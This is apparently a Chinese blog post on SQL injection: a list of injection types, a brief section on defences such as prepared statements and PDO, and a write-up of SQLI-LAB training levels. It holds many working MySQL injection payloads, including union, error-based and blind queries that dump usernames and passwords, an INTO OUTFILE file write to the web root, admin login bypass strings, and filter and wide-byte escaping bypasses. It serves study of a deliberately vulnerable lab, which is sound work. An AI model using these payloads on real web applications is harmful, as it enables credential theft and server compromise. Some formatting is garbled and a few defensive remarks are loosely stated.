SQL注入
约有如下13种:
-
Boolean盲注
与时间盲注类似,但是用于有明显回显情况
-
Union注入
最常见的注入方式之一1' union select 1,2,database() --+
-
文件读写
select '' into outfile '/var/www/c.php' --+
-
报错注入
floor()、extractvalue()、updatexml()、geometrycollection()、multipoint()、polygon()、multipolygon()、linestring()、multilinestring()、exp()
-
时间盲注
sleep()
-
REGEXP正则匹配
PCRE绕过:union/‘+’a’1000001+’*/select
-
宽字节注入
运用GBK与UTF-8编码不同来绕过转义
-
堆叠注入
两句代码以分号等方式隔开:select * from users where id=1;select 1,2,3;
-
二次注入
巧妙利用update等方式,用已有的数据进行注入
-
User-Agent注入、11.Cookie注入
10,11两种其实只是个注入位置的区别而已,可以采用Burp或者直接Curl构造payload实现
-
过滤绕过
union绕过,双写绕过,注释绕过等
-
万能密码
admin’ or ‘1’=’1
username = secpulse’=’ password = secpulse’=’
ffifdyop
SQL防护
-
预编译
String sql="select id,no from user where id=?"; PreparedStatement ps=conn.prepareStatement(sql); ps.setInt(1,id); ps.executeQuery();
采用了PreparedStatement,就会将sql语句:”select id, no from user where id=?” 预先编译好也就是SQL引擎会预先进行语法分析,产生语法树,生成执行计划,也就是说,后面你输入的参数,无论你输入的是什么,都不会影响该sql语句的语法结构了,因为语法分析已经完成了,而语法分析主要是分析sql命令,比如 select ,from ,where ,and, or ,order by 等等。
所以即使你后面输入了这些sql命令,也不会被当成sql命令来执行了,因为这些sql命令的执行,必须先的通过语法分析,生成执行计划,既然语法分析已经完成,已经预编译过了,那么后面输入的参数,是绝对不可能作为sql命令来执行的,只会被当做字符串字面值参数。
所以sql语句预编译可以防御sql注入。 -
PDO
也是一种预编译的方式,常用在PHP的数据库查询上,绑定的参数不需要使用引号,也可以有效防止注入
-
正则表达式过滤
实在不行,那就自己写过滤!
SQLI-LAB WriteUp
注入分类太过复杂,所以在SQLI做题的时候边整理SQLI攻击的一些技巧
由于SQLI-LAB的一些不友好配置,想寻一个Docker版本使用,所以我自己写了个Docker
Docker Hub:huangzheng2016/sqlilab
仅展示一些简单的题目来阐释注入
Less-1 GET – Error based – Single quotes – String(基于错误的GET单引号字符型注入)
手工UNION联合查询注入
根据提示,给ID随便来一个,发现有注入的可能,于是暴库
?id=-1' union select 1,2,database() --+
#1,2为占位符,为了让数据库在Password那栏显示出来
得到数据库名,爆破数据表
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
然后来爆
users
字段
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
通过
group_concat
`爆破
`users
`表的内容,
`0x3a
`是ascii中的
`:
,用以分割pasword和username
?id=0' union select 1,2,group_concat(username,0x3a,password) from users--+
手工报错型注入
#正确
?id=1' and 1=1--+
#失败
?id=1' and 1=2--+
通过Xpath爆数据表
extractvalue():对XML文档进行查询的函数
其实就是相当于我们熟悉的HTML文件中用?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
爆字段?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+
Less-2 GET – Error based – Intiger based (基于错误的GET整型注入)
和第一题类似,只不过前面的1不用带单引号,即
select ... from ... where id=$GET
Less-3 GET – Error based – Single quotes with twist string (基于错误的GET单引号变形字符型注入)
输入单引号,根据报错信息可以确定输入的内容存放到一对单引号加圆括号中了
select ... from ... where id=('$GET')
Less-4 GET – Error based – Double Quotes – String (基于错误的GET双引号字符型注入)
输入单引号,页面无任何变化,
输入双引号,页面报错,select ... from ... where id=("$GET")
Less-5 GET – Double Injection – Single Quotes – String (双注入GET单引号字符型注入)
看这个就是布尔型盲注、报错型注入、时间延迟型盲注。真正盲注一般不会有回显时间延迟型注入
这个有没有回显其实无所谓,可以参考浏览器刷新时间来确定
#爆库长 ?id=1' and if(length(database())=8,sleep(5),1)--+ #爆库名left(database(),8)='security' ?id=1' and if(left(database(),1)='s',sleep(5),1)--+ #爆表名users ?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r',sleep(5),1)--+ #爆字段,查看是非有password列 ?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password',sleep(5),1)--+ #爆破值 ?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
布尔型手工注入
正确会回显,错误没有回显
#爆库名 ?id=1' and left((select database()),1)='s'--+ #爆表 ?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+ #爆字段 ?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' --+ #爆值 ?id=1' and left((select password from users order by id limit 0,1),1)='d' --+
值得注意的是mysql对大小写不敏感
使用CONCAT聚合函数
这里利用的是
函数的报错回显
floor()
select count(*) from test group by floor(rand(0)*2);
在这里的意思就是,group by进行分组时,
floor(rand(0)*2)
执行一次(查看分组是否存在),如果虚拟表中不存在该分组,那么在插入新分组的时候floor(rand(0)*2)
就又计算了一次。(其实在上述rand(0)
产生多个数据的时候,也能观察出来。只要rand(0)
被调用,一定会产生新值)。
当grou pby对其进行分组的时候,首先遇到第一个值,发现不存在,于是需要插入分组,就在这时,floor(rand(0)*2)
再次被触发,生成第二个值1
,因此最终插入虚拟表的也就是第二个值1
;然后遇到第三个值1
,因为已经存在分组1
了,就直接计数加1
(这时1
的计数变为2
);遇到第四个值的时候,发现不存在,于是又需要插入新分组,然后floor(rand(0)*2)
又被触发,生成第五个值1
,因此这时还是往虚拟表里插入分组1
,但是,分组1
已经存在了!所以报错!#爆库 ?id=-1'union select count(*),count(*), concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+ #爆用户 ?id=-1' union select count(*),1, concat('~',(select user()),'~', floor(rand()*2)) as a from information_schema.tables group by a--+ #爆表 ?id=-1' union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+ #爆字段 ?id=-1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+ #爆值 ?id=-1' union select count(*),1, concat('~',(select concat_ws('[',password,username) from users limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
Less-7 GET – Dump into outfile – String (导出文件GET字符型注入)
由于测试后发现过滤了换行符,于是从Less-2获取了一些信息basedir为mysql安装路径,datadir为数据路径
Less-2/?id=-1 union select 1,@@basedir,@@datadir --+
这个路子行不通,我就按照以往经验,往
直接写文件
Apache
`目录
`/var/www/
?id=1')) union select 1,2,'' into outfile '/var/www/c.php' --+
这个出错没有关系,然后我看了一下目录,没有写进去,最后一查,我这个目录没有给mysql任何写权限
并且mysql数据库没有开启secure-file-priv写文件权限(快去改docker啊笨)
PS:Docker1.1已更新Less – 24 Second Degree Injections Real treat -Store Injections (二次注入)
首先注册一个的账号,再进去修改密码
admin'#
就可以用修改后的密码登录admin
原理如下#原本的UPDATE语句 UPDATE users SET passwd="New_Pass" WHERE username ='admin'#' AND password=' #实际执行的语句 UPDATE users SET passwd="New_Pass" WHERE username ='admin' `` ### Less-25 Trick with OR & AND (过滤了or和and) 仅讲解思路,没有实际Payload ```SQL #利用union联合查询 ?id=-1' union select 1,2,database()--+ #双写and or绕过 ?id=0' oorr 1=1 --+ ?id=2' aandnd 1=1 --+ #符号绕过 and=&& or=|| xor=| not=!
顺便细数其他的一些绕过方法
绕过空格(注释符/**/,空格%a0,Tab,双空格)
#空格替代 %20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/ #浮点数绕过 select * from users where id=8E0union select 1,2,3 #括号绕过 select(user())from dual where(1=1)and(2=2)
引号绕过
##字符串users的十六进制为0x7573657273 select column_name from information_schema.tables where table_name="users" select column_name from information_schema.tables where table_name=0x7573657273
逗号绕过(使用from或者offset)
#对于substr和mid可以使用from和for select substr(database() from 1 for 1); select mid(database() from 1 for 1); #limit可以使用offset select * from news limit 0,1 select * from news limit 1 offset 0 #截取字符串时,like为模糊匹配,%为通配符 select ascii(mid(user(),1,1))=80 select user() like 'r%'
通配符 描述 % 代表零个或多个字符 _ 仅替代一个字符 [charlist] 字符列中的任何单一字符 [^charlist]或者[!charlist] 不在字符列中的任何单一字 比较符号绕过<>,返回最大值greatest(),返回最小值least()
select * from users where id=1 and ascii(substr(database(),0,1))>64 select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
等于符号绕过
#between a and b 在a和b范围内 between 1 and 1; #使用like 、rlike 、regexp 或者 使用<或者>
绕过注释符号
#最后的or '1闭合查询语句的最后的单引号或者单独查询 id=1' union select 1,2,3||'1 id=1' union select 1,2,'3
绕过union,select,where等
#使用注释符绕过,常用注释符 //,-- , /**/, # , --+ , -- - , ; , %00 ,--a U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user #使用大小写绕过: id=-1'UnIoN/**/SeLeCT #内联注释绕过 id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()# #双关键字绕过(若删除掉第一个匹配的union就能绕过): id=-1'UNIunionONSeLselectECT1,2,3–-
编码绕过
如URLEncode编码,ASCII,HEX,unicode编码绕过
#or 1=1 %6f%72%20%31%3d%31 #Test CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
等价函数绕过
hex()、bin()==>ascii() sleep()==>benchmark() concat_ws()==>group_concat() mid()、substr()==>substring() @@user==>user() @@datadir==>datadir() 举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 或者: substr((select 'password'),1,1) = 0x70 strcmp(left('password',1), 0x69) = 1 strcmp(left('password',1), 0x70) = 0 strcmp(left('password',1), 0x71) = -1
Less-32 Bypass addslashes(宽字节绕过)
addslashes()会在单引号前加一个\ 例如:I’m hacker 传入addslashes(),得到:I\’m hacker,有效防止注入
%E6除去\具体的方法是urlencode(\’)=%5C%27,我们在%5C%27前面添加%E6,形成%E6%5c%27,而mysql在GBK编码方式的时候会将两个字节当做一个汉字,%E6%5C就是一个汉字,%27作为一个单独的(’)符号在外面:
所以理论上%E6任意都可以,例如%DF,只要%XX%5C是存在的编码即可?id=-1%E6' union select 1,version(),database() --+ #addslashes()后 ?id=-1%E6\' union select 1,version(),database() --+ #因为无符号,所以自动忽略 ?id=-1(某个汉字)' union select 1,version(),database() --+
- replace():过滤’ \ ,将’转化为\’,将\转为\,将”转为\”
- addslaches():返回在预定义字符之前添加反斜杠(\)的字符串。预定义字符(‘,”,\ )。
防御,要将mysql_query设置为binary的方式- mysql_real_escape_string():转义下列字符:
\x00,\n,\r,\,',",\x1a
防御,将mysql设置为GBK即可
暂无评论